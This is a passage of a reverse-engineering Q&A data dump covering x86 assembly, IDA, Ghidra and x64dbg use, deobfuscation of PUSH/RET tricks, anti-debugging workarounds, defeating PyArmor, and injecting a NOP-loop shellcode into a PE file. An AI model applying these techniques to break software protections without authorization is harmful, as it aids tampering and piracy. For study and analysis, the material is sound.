  <row Id="25189" PostTypeId="2" ParentId="25188" CreationDate="2020-06-01T18:22:06.473" Score="11" Body="&lt;p&gt;In x86 assembly, &lt;code&gt;al&lt;/code&gt; is the least significant byte of &lt;code&gt;eax&lt;/code&gt; register, which is typically used to return values from function calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;test al,al&lt;/code&gt; is a bitwise AND operation between &lt;code&gt;al&lt;/code&gt; and itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;al &amp;amp; al&lt;/code&gt; == 0, the zero flag will be set to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;je&lt;/code&gt; (or &lt;code&gt;jz&lt;/code&gt;) instruction will jump to the address of &lt;code&gt;label&lt;/code&gt;, if the zero flag is 1. Otherwise, the &lt;code&gt;je&lt;/code&gt; will do nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short:&#xA;If eax == ######00 jump to label.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-06-01T18:22:06.473" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25190" PostTypeId="1" AcceptedAnswerId="25192" CreationDate="2020-06-02T02:05:46.907" Score="2" ViewCount="66" Body="&lt;p&gt;I'm reverse-engineering some code I wrote in the middle-90s for which the source is long-lost and I'm a bit baffled by some VGA code I've encountered. I think it's &lt;em&gt;probably&lt;/em&gt; from library or 3rd party code as I was just learning computers then and, while I did include some assembly to interact with VGA, it wasn't this informed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's helpful, the app is a 16-bit DOS real-mode exe and the original source was compiled by the Turbo Pascal compiler (either version 6 or 7).&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ; function boilerplate&#xA;    push bp&#xA;    mov  bp,sp&#xA;    call 0EE2:0530  ; stack bounds check function&#xA;&#xA;    ; probe vga port 03CCh&#xA;    sub  sp,0002    ; why?&#xA;    mov  dx,03CC&#xA;    in   al,dx&#xA;    and  al,0C      ; mask bits 3 &amp;amp; 2&#xA;    cmp  al,04      ; al == 00000100b&#xA;    mov  al,00      ; pre return value&#xA;    jne  jump_label ; return 0&#xA;    inc  ax         ; return 1&#xA;jump_label:&#xA;    ; store return value in [bp-01] as well, for.. reasons.&#xA;    mov  [bp-01],al&#xA;    mov  al,[bp-01]&#xA;&#xA;    ; function boilerplate    &#xA;    mov  sp,bp&#xA;    pop  bp&#xA;    retf 0004 ; instance pointer?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the question is, what is the intent here? Two parts are confusing to me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First&lt;/strong&gt;, bits 2 and 3 denote &lt;em&gt;clock select&lt;/em&gt; according to the VGA docs I've read, but those docs are light on information about what that means when bit 3 is involved. For example, &lt;a href=&quot;http://www.osdever.net/FreeVGA/vga/extreg.htm#3CCR3C2W&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.osdever.net/FreeVGA/vga/extreg.htm#3CCR3C2W&lt;/a&gt; declares the two values with the bit 3 set as &lt;em&gt;undefined&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function seems to return 0 when bit 3 is set and bit 2 isn't. But, why? What is it trying to determine about the hardware?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second&lt;/strong&gt;, and this is an aside, but what is the intent of &lt;code&gt;mov [bp-01],al&lt;/code&gt; followed by &lt;code&gt;mov al,[bp-01]&lt;/code&gt;? This seems redundant!&lt;/p&gt;&#xA;" OwnerUserId="33426" LastEditorUserId="60" LastEditDate="2020-06-02T17:51:32.840" LastActivityDate="2020-06-02T17:51:32.840" Title="Why would VGA port 03CC respond with bit 3 set and bit 2 not?" Tags="|x86|dos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25191" PostTypeId="2" ParentId="25186" CreationDate="2020-06-02T07:02:39.307" Score="-1" Body="&lt;p&gt;Inside D3DVERTEX__D3DVERTEX [ebp+var_334] i.e. ecx passed to variable [ebp+var_4] and in end of function [ebp+var_4] passed to eax as return:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00439440 D3DVERTEX__D3DVERTEX proc near          ; CODE XREF: j_D3DVERTEX__D3DVERTEXj&#xA;.text:00439440&#xA;.text:00439440 var_5C          = dword ptr -5Ch&#xA;.text:00439440 var_58          = dword ptr -58h&#xA;.text:00439440 var_54          = dword ptr -54h&#xA;.text:00439440 var_4           = dword ptr -4&#xA;.text:00439440 arg_0           = dword ptr  8&#xA;.text:00439440 arg_4           = dword ptr  0Ch&#xA;.text:00439440 arg_8           = dword ptr  10h&#xA;.text:00439440 arg_C           = dword ptr  14h&#xA;.text:00439440 arg_10          = dword ptr  18h&#xA;.text:00439440&#xA;.text:00439440                 push    ebp&#xA;.text:00439441                 mov     ebp, esp&#xA;.text:00439443                 sub     esp, 44h&#xA;.text:00439446                 push    ebx&#xA;.text:00439447                 push    esi&#xA;.text:00439448                 push    edi&#xA;.text:00439449                 mov     [ebp+var_4], ecx&#xA;&#xA;...........&#xA;.text:0043947B                 mov     eax, [ebp+var_4]&#xA;.text:0043947E                 pop     edi&#xA;.text:0043947F                 pop     esi&#xA;.text:00439480                 pop     ebx&#xA;.text:00439481                 mov     esp, ebp&#xA;.text:00439483                 pop     ebp&#xA;.text:00439484                 retn    14h&#xA;.text:00439484 D3DVERTEX__D3DVERTEX endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and after D3DVERTEX__D3DVERTEX this eax used as base bointer to fill memory of vertex buffer with values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00438703                 call    j_D3DVERTEX__D3DVERTEX&#xA;.text:00438708                 mov     ecx, [ebp+var_8] ;pointer to vertex buffer&#xA;.text:0043870B                 mov     edx, [eax] ;eax returned by j_D3DVERTEX__D3DVERTEX&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe j_D3DVERTEX__D3DVERTEX used to arrange and prepare vertex values to fill vertex memory after calling j_D3DVERTEX__D3DVERTEX?&lt;/p&gt;&#xA;" OwnerUserId="33371" LastActivityDate="2020-06-02T07:02:39.307" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25192" PostTypeId="2" ParentId="25190" CreationDate="2020-06-02T07:58:11.510" Score="3" Body="&lt;p&gt;First: the code is only checking bit 2 (bit 0,1,2) if 25 or 28Mhz clock is set&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second: maybe its redundant but can't say without original code - could be still a problem with your disassembler&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;retf 0004 ; instance pointer?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is a far return with pop of 4 bytes from stack&lt;/p&gt;&#xA;" OwnerUserId="28904" LastActivityDate="2020-06-02T07:58:11.510" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25194" PostTypeId="1" AcceptedAnswerId="30699" CreationDate="2020-06-02T11:26:38.267" Score="1" ViewCount="446" Body="&lt;p&gt;How to clear the comments created by funcap and restore database to it's previous state?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried reanalyzing the program but comments do not seems to go away from database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though, checking-off Comments in IDA Options seems to work, but it also remove comments that I have made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bQ83R.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bQ83R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15246" LastActivityDate="2022-07-25T09:28:06.227" Title="How to clear all comments created in ida using funcap?" Tags="|ida|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25196" PostTypeId="2" ParentId="25181" CreationDate="2020-06-02T18:55:09.110" Score="4" Body="&lt;p&gt;The &lt;code&gt;RET&lt;/code&gt; instruction transfers control to the return address located on the stack. Normally this is used to go back from a function to where the function was called, as the address of the next instruction was pushed into the stack by the &lt;code&gt;CALL&lt;/code&gt; instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;code&gt;RET&lt;/code&gt; can be misused: a &lt;code&gt;PUSH&lt;/code&gt; before a &lt;code&gt;RET&lt;/code&gt; instruction is a typical obfuscation technique. In this case, when executing the &lt;code&gt;RET&lt;/code&gt;, instead of coming back to the caller function, it behaves like a jump to the previously pushed address. This is not something your decompiler expects, which may result in a jump to a memory zone that hasn't been decompiled or has been incorrectly decompiled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;PUSH PUSH RET&lt;/code&gt; can be used to implement a &lt;code&gt;CALL&lt;/code&gt; as you mention. In that case, the first &lt;code&gt;PUSH&lt;/code&gt; pushes the return address into the stack (the one after the &lt;code&gt;RET&lt;/code&gt;). The second &lt;code&gt;PUSH&lt;/code&gt; pushes the function address. The &lt;code&gt;RET&lt;/code&gt; (as explained before) jumps to the function address (and removes this address from the stack). When the function address executes its &lt;code&gt;RET&lt;/code&gt;, it jumps back to the address currently located on the stack (the one of the first &lt;code&gt;PUSH&lt;/code&gt;), coming back to the caller of the function. Note though that this is not your case. In your case the first address pushed is not in the current function. This means that this is not implementing a &lt;code&gt;CALL&lt;/code&gt;. Most likely this it is used as an obfuscation technique, making more complicated to follow the calls and maybe tricking your disassembly to show you the code incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, note that executing a &lt;code&gt;PUSH&lt;/code&gt; doesn't lead you anywhere. It just pushes the address into the stack. It is the &lt;code&gt;RET&lt;/code&gt; instruction which actually jumps to the last pushed address. This also means that the second pushed address is visited before the first one. This means that the code you are looking for is reached from &lt;code&gt;A4DB49&lt;/code&gt; (the first address to which &lt;code&gt;RET&lt;/code&gt; jumps) that is another &lt;code&gt;JUMP&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend you to check the Anti-Disassembly chapter of the &lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/B007ED2XDS&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Practical Malware Analysis Book&lt;/a&gt;, where this kind of techniques are covered in detail and with examples.&lt;/p&gt;&#xA;" OwnerUserId="29859" LastEditorUserId="29859" LastEditDate="2020-06-02T19:15:23.627" LastActivityDate="2020-06-02T19:15:23.627" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25197" PostTypeId="1" CreationDate="2020-06-02T20:45:11.417" Score="2" ViewCount="707" Body="&lt;p&gt;I have a fairly large obfuscated program, and I need to mark all of the lines as code. I was able to do this in IDC by iterating through the lines and running &lt;code&gt;MakeCode&lt;/code&gt;. It works for small amounts of code, but when I tried it on the entire program I waited for hours and nothing happened. Is there a more efficient way to mark every line as code?&lt;/p&gt;&#xA;" OwnerUserId="33432" LastActivityDate="2020-06-02T22:52:18.460" Title="Best way to quickly mark all lines as code in IDA?" Tags="|ida|idc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25198" PostTypeId="2" ParentId="25197" CreationDate="2020-06-02T21:04:41.443" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Select a range (or  everything: &lt;kbd&gt;Ctrl-PgUp&lt;/kbd&gt;, &lt;kbd&gt;Alt-L&lt;/kbd&gt;, &lt;kbd&gt;Ctrl-PgDn&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;C&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Choose how you want your code converted&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2020-06-02T22:52:18.460" LastActivityDate="2020-06-02T22:52:18.460" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25199" PostTypeId="1" CreationDate="2020-06-03T01:31:03.063" Score="1" ViewCount="1452" Body="&lt;p&gt;I have been working on finding an overflow in WordPad and I was able to run an exception with an undefined behavior (my point of view).&lt;/p&gt;&#xA;&lt;p&gt;I am using x64dbg (I am not a pro x64dbg) and it shows unexpected HRESULT and almost all registers filled with random values (they don't get filled when a non-corrupted file is loaded).&lt;/p&gt;&#xA;&lt;p&gt;I am new to x64dbg — how would I go saying this is vulnerable? How do I analyze the exception and the behavior? How do I exploit it?&lt;/p&gt;&#xA;&lt;p&gt;I have so many questions. Please help. The memory dump is too big, so it is impossible to identify anything. What steps should I follow? Sometimes shows &lt;code&gt;unexpected HRESULT&lt;/code&gt; on R8 register as well.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DLuR0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DLuR0.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22138" LastEditorUserId="37138" LastEditDate="2021-07-02T19:09:49.760" LastActivityDate="2021-07-02T19:09:49.760" Title="x64dbg throwing exception" Tags="|debugging|x64dbg|buffer-overflow|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="25201" PostTypeId="2" ParentId="23372" CreationDate="2020-06-03T14:28:09.970" Score="0" Body="&lt;p&gt;This turned out to be a mixture of hardware breakpoint related bugs in x64dbg (which are fixed by now), and a driver denying access to &lt;strong&gt;some&lt;/strong&gt; threads of the target application (meaning the hardware breakpoint could not be set on those). If you encounter this, I suggest updating and checking OpenThread permissions, as x64dbg fails silently here :/&lt;/p&gt;&#xA;" OwnerUserId="17795" LastActivityDate="2020-06-03T14:28:09.970" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25202" PostTypeId="2" ParentId="25180" CreationDate="2020-06-03T19:36:00.540" Score="2" Body="&lt;p&gt;Some ideas:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Try using &lt;a href=&quot;https://blog.malwarebytes.com/101/2015/12/an-introduction-to-image-file-execution-options/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Image File Execution Options&lt;/a&gt; registry key  to automatically run the debugger when the process starts. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Patch an infinite loop (&lt;code&gt;EB FE&lt;/code&gt;) at the entry point, start the binary, then attach to it from a debugger started as admin.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use kernel debugger or hypervisor-based debugger to debug the process without relying on user mode debugging API. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-03T19:36:00.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25203" PostTypeId="2" ParentId="25172" CreationDate="2020-06-03T19:42:55.683" Score="0" Body="&lt;p&gt;If you cannot step inside that function, you’re probably missing debug symbols for the library (check with &lt;code&gt;info shared&lt;/code&gt;). You can try to either install symbols (usually in a package named &lt;code&gt;libc-dbg&lt;/code&gt; or similar), or debug on assembly level by using &lt;code&gt;si&lt;/code&gt; (step instruction) command. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-03T19:42:55.683" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25204" PostTypeId="2" ParentId="25164" CreationDate="2020-06-03T19:47:08.253" Score="1" Body="&lt;p&gt;I think IDA simply omits the scale factor 1 to simplify the output and bring the syntax closer to other processors. The main goal of IDA is understanding code, not reassembly. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-03T19:47:08.253" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25205" PostTypeId="2" ParentId="25103" CreationDate="2020-06-03T19:47:21.900" Score="2" Body="&lt;p&gt;You renamed a thunk (&quot;thunk_FUN_1017e9e0&quot;).  That thunk points to the function &quot;FUN_1017e9e0&quot;.  When you double-click on the thunk, Ghidra is bypassing it and taking you directly to the thunked function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Ghidra symbol table, you should see 2 separate entries for &quot;process_something_internal1&quot; (thunk) and &quot;FUN_1017e9e0&quot; (thunked function).&lt;/p&gt;&#xA;" OwnerUserId="33438" LastActivityDate="2020-06-03T19:47:21.900" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25206" PostTypeId="2" ParentId="18341" CreationDate="2020-06-03T21:36:28.030" Score="0" Body="&lt;p&gt;In case this ends up being useful for anyone else, I had the same exact error, but it was in a cross-compilation project. My problem was that my CMake toolchain was erroneously setting CMAKE_OBJDUMP to /usr/bin/objdump instead of /usr/bin/arm-none-eabi-objdump. I fixed this by forcing my toolchain.cmake file to use /usr/bin/arm-none-eabi-objdump and /usr/bin/arm-none-eabi-objcopy, by adding these lines to my toolchain.cmake BEFORE any calls to find_program(...):&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unset(CMAKE_OBJCOPY CACHE)&#xA;unset(CMAKE_OBJDUMP CACHE)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My CMake version is 3.16.3. I submitted a bug report for this here: &lt;a href=&quot;https://gitlab.kitware.com/cmake/cmake/-/issues/20787&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.kitware.com/cmake/cmake/-/issues/20787&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33440" LastEditorUserId="33440" LastEditDate="2020-06-03T21:49:21.887" LastActivityDate="2020-06-03T21:49:21.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25207" PostTypeId="1" CreationDate="2020-06-03T22:14:22.167" Score="1" ViewCount="132" Body="&lt;p&gt;I injected shellcode into an executable. &lt;br&gt;Entrypoint is set to first shellcode instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shellcode: &lt;br&gt;&lt;br&gt;nop &lt;br&gt;nop &lt;br&gt;label: &lt;br&gt;nop &lt;br&gt;nop &lt;br&gt;jmp &lt;br&gt;label &lt;br&gt;nop&lt;br&gt;nop&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which translate to: \x90\x90\x90\x90\xeb\xfc\x90\x90&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Correct Values in PE can be seen with PE-Explorer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/duHI8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/duHI8.png&quot; alt=&quot;pe explorer&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other values displayed in the debugger which translate to wrong instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xV8AE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xV8AE.png&quot; alt=&quot;debugger&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong here?&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="33441" LastActivityDate="2021-03-08T11:12:39.363" Title="PE Explorer vs. Debugger differences" Tags="|debugging|pe|shellcode|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25208" PostTypeId="1" CreationDate="2020-06-04T06:34:33.550" Score="1" ViewCount="2108" Body="&lt;p&gt;Created an application, protected by PyArmor and used pyinstaller. I'm trying to reverse engineer it. So far I've decompiled the exe into pyc files but it's still pyarmor encrypted I can only see the loading of the encrypted bytes.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there a way to decrypt PyArmor?&lt;/li&gt;&#xA;&lt;li&gt;If not, it's my understanding it decrypts at runtime, how could I catch the unencrypted portion? I've been trying to use Ollydbg but can't figure out exactly how it works.&lt;/li&gt;&#xA;&lt;li&gt;The program prints a Hello World but I can't seem to even find the instruction or the string in reference strings, any idea why or how to do it?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="33446" LastEditorUserId="245" LastEditDate="2020-06-24T11:23:37.540" LastActivityDate="2020-06-24T11:23:37.540" Title="Reversing PyArmor + Pyinstaller" Tags="|python|deobfuscation|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25209" PostTypeId="2" ParentId="25181" CreationDate="2020-06-04T07:29:04.607" Score="1" Body="&lt;p&gt;Technically, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PUSH A&#xA;RET&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is equivalent to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JMP A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PUSH A&#xA;PUSH B&#xA;RET&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is equivalent to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CALL B&#xA;JMP A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can write a x64dbg script which &lt;a href=&quot;https://help.x64dbg.com/en/latest/commands/searching/find.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;searches&lt;/a&gt; for the above pattern and replaces it with the simplified assembly.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Example&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;PUSH + RET&lt;/code&gt; has the byte pattern&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:  68 44 33 22 11          push   0x11223344&#xA;5:  c3                      ret &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following script replaces it with &lt;code&gt;JMP&lt;/code&gt; and the remainder (if any) with &lt;code&gt;NOP&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$base = 0x91e000&#xA;$search_size = 0x100&#xA;&#xA;findall $base, &quot;68 ?? ?? ?? ?? c3&quot;, $search_size&#xA;$count = $result&#xA;&#xA;next:&#xA;    dec $count&#xA;    $addr = ref.addr($count)&#xA;    $jmp_addr = dis.imm($addr)&#xA;    asm $addr, &quot;jmp 0x{$jmp_addr}&quot;&#xA;    $asm_size = $result&#xA;    $remainder = 6 - $asm_size&#xA;&#xA;    fill_nop:&#xA;        dec $remainder&#xA;        asm $addr+$asm_size+$remainder, &quot;nop&quot;&#xA;        test $remainder, $remainder&#xA;        jnz fill_nop&#xA;&#xA;    test $count, $count&#xA;    jnz next&#xA;&#xA;msg &quot;Done&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Similarly for &lt;code&gt;PUSH + PUSH + RET&lt;/code&gt;,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:  68 44 33 22 11          push   0x11223344&#xA;5:  68 dd cc bb aa          push   0xaabbccdd&#xA;a:  c3                      ret &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following script replaces it with &lt;code&gt;CALL + JMP&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$base = 0x91e000&#xA;$search_size = 0x100&#xA;&#xA;findall $base, &quot;68 ?? ?? ?? ?? 68 ?? ?? ?? ?? c3&quot;, $search_size&#xA;$count = $result&#xA;&#xA;next:&#xA;    dec $count&#xA;    $addr = ref.addr($count)&#xA;    $ret_addr = dis.imm($addr)&#xA;    $call_addr = dis.imm($addr+5)&#xA;    asm $addr, &quot;call 0x{$call_addr}&quot;&#xA;    $asm_size = $result&#xA;    asm $addr+$asm_size, &quot;jmp 0x{$ret_addr}&quot;&#xA;    add $asm_size, $result&#xA;    $remainder = 0xb - $asm_size&#xA;&#xA;    fill_nop:&#xA;        dec $remainder&#xA;        asm $addr+$asm_size+$remainder, &quot;nop&quot;&#xA;        test $remainder, $remainder&#xA;        jnz fill_nop&#xA;&#xA;    test $count, $count&#xA;    jnz next&#xA;&#xA;msg &quot;Done&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However there are some caveats with the above approach:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;PUSH + PUSH + RET&lt;/code&gt; can be converted to &lt;code&gt;CALL + JMP&lt;/code&gt; only if the callee uses &lt;code&gt;RET&lt;/code&gt; instruction to return back to the caller (which is normal in cdecl). It won't work if it obfuscates the return using a &lt;code&gt;JMP&lt;/code&gt; instruction. That is instead of &lt;code&gt;RET&lt;/code&gt; there is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ADD ESP, 4&#xA;JMP DWORD PTR [ESP-4]&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pattern search will work in most cases. However if parts of the code are encrypted it can return false positives and you may be inadvertently overwriting wrong data.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2020-06-05T19:35:07.300" LastActivityDate="2020-06-05T19:35:07.300" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="25210" PostTypeId="2" ParentId="22985" CreationDate="2020-06-04T19:29:39.870" Score="2" Body="&lt;p&gt;Its been a couple months since this was asked, but there is also another option. If you can manually calculate the jumps then its possible to specify these into Ghidra to override its default behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a script called &lt;code&gt;SwitchOverride&lt;/code&gt;, which can be found in the script manager window. Below is the documentation from the script:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This script allows the user to manually   specify the destinations of an indirect jump (switch)  to the decompiler, if it   can't figure out the destinations itself or does so incorrectly.  To use, create a selection that contains:  the (one) instruction performing the indirect jump to override  other instructions whose addresses are interpreted as destinations of the switch  then run this script&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="33453" LastActivityDate="2020-06-04T19:29:39.870" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25211" PostTypeId="2" ParentId="25199" CreationDate="2020-06-04T20:28:01.227" Score="1" Body="&lt;p&gt;The exception shown in status bar (CPP_EH_EXCEPTION) is a special exception code used to implement C++ exceptions (throw/catch) and usually does not indicate a bug or vulnerability. In most cases it &lt;a href=&quot;https://github.com/x64dbg/x64dbg/issues/1846&quot; rel=&quot;nofollow noreferrer&quot;&gt;can be passed to the program&lt;/a&gt; which expects it and will handle it. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-06-04T20:28:01.227" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25212" PostTypeId="2" ParentId="19298" CreationDate="2020-06-04T22:18:49.767" Score="2" Body="&lt;p&gt;I found the following documentation on archive.org, as part of Sun WorkShop™ for Solaris 2.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://archive.org/download/SunWorkshopVol5No1/Sun%20WorkShop%E2%84%A2%20for%20Solaris%202.x%20Volume%205%20Number%201.iso/SPROmrcpl%2Freloc%2FSUNWspro%2FSC4.2%2FREADMEs%2Fmangling.ps&quot; rel=&quot;nofollow noreferrer&quot;&gt;mangling.ps&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33454" LastActivityDate="2020-06-04T22:18:49.767" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25214" PostTypeId="1" CreationDate="2020-06-04T23:01:42.733" Score="1" ViewCount="392" Body="&lt;p&gt;I'm new to hardware hacking and I'm not to sure where to go with what I'm doing, any advice or feedback is greatly appreciated. I've been working on a project with the hope of downloading images that are stored in Subaru's eyesight collision avoidance camera system. In the eyesight handbook it details that several images are recorded leading up to and after an &amp;quot;event&amp;quot;, but that you have to contact Subaru to get them downloaded. Multiple companies have systems similar with the known and publicly available way to download images off of Toyota's.&lt;/p&gt;&#xA;&lt;p&gt;Another person in my industry witnessed a Subaru tech download images, and said they plugged directly into the camera system mounted on the inside of the roof. I was able to purchase a complete camera assembly off of ebay to tinker with. The assembly i have is from a 2016 forester, the same vehicle I own. Using my car I was able to get the voltages I need to power up the assembly externally to tinker with.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Rlyit.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rlyit.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In my image, the left most white connector is the only connection between the cameras and car, that's what I got the voltages of. 2 pins at 12V, 1 at 2.3V, 1 at 2.6V, and two grounds. Two other pins had wires but no voltages, could possibly be for the 